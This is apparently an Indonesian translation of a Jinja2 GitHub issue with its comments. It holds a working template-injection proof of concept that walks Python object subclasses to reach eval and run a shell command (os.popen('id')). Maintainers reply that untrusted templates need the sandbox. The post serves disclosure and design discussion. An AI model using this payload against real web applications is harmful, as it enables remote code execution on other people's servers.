Jinja: Jalankan kode arbitrer dalam template tanpa lingkungan kotak pasir.

Dibuat pada 23 Feb 2016  ·  6Komentar  ·  Sumber: pallets/jinja

Ketika saya menggunakan kerangka kerja template Jinja2 di proyek saya, saya menemukan cara untuk memanggil "os.popen('id')" atau fungsi lain tanpa register global.
Sangat mudah untuk mendapatkan shell ketika penyerang dapat mengontrol konten template. Apakah itu desain seperti itu?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

Saya menguji kode ini dengan python2 (2.7.10) dan Jinja2 (2.8), jika berhasil akan mencetak uid pengguna Anda ...

Komentar yang paling membantu

Anda tidak boleh menjalankan templat yang tidak tepercaya di lingkungan yang tidak memiliki kotak pasir. Itulah mengapa kotak pasir ada (dan sejujurnya, bahkan dengan kotak pasir saya tidak akan membiarkan pengguna memberikan template Jinja yang sewenang-wenang)

Semua 6 komentar

Anda tidak boleh menjalankan templat yang tidak tepercaya di lingkungan yang tidak memiliki kotak pasir. Itulah mengapa kotak pasir ada (dan sejujurnya, bahkan dengan kotak pasir saya tidak akan membiarkan pengguna memberikan template Jinja yang sewenang-wenang)

Lantas, apakah perlu dilakukan tindakan untuk mencegah kasus ini? Saya pikir ada beberapa aplikasi khusus yang memungkinkan pengguna untuk mengedit konten template, tetapi tidak ada contoh praktis.

Saya pikir perlu menggunakan kotak pasir secara default, karena labu atau kerangka kerja web lain yang digunakan Jinja2 tidak melakukan ini.

Mengapa Anda ingin menggunakan kotak pasir secara default? Dalam kebanyakan kasus, templat tidak dapat diubah oleh orang tidak tepercaya yang tidak memiliki akses ke kode.

Ada kasus tentang eksekusi kode jarak jauh melalui injeksi template Flask/Jinja2 di Uber.
tautan: http://www.tuicool.com/articles/uE3YNjY

Mengaktifkan sandboxing secara default tidak dimungkinkan karena kompatibilitas mundur, dan juga tidak masuk akal karena sebagian besar templat (di Flask) tepercaya.

Apakah halaman ini membantu?
0 / 5 - 0 peringkat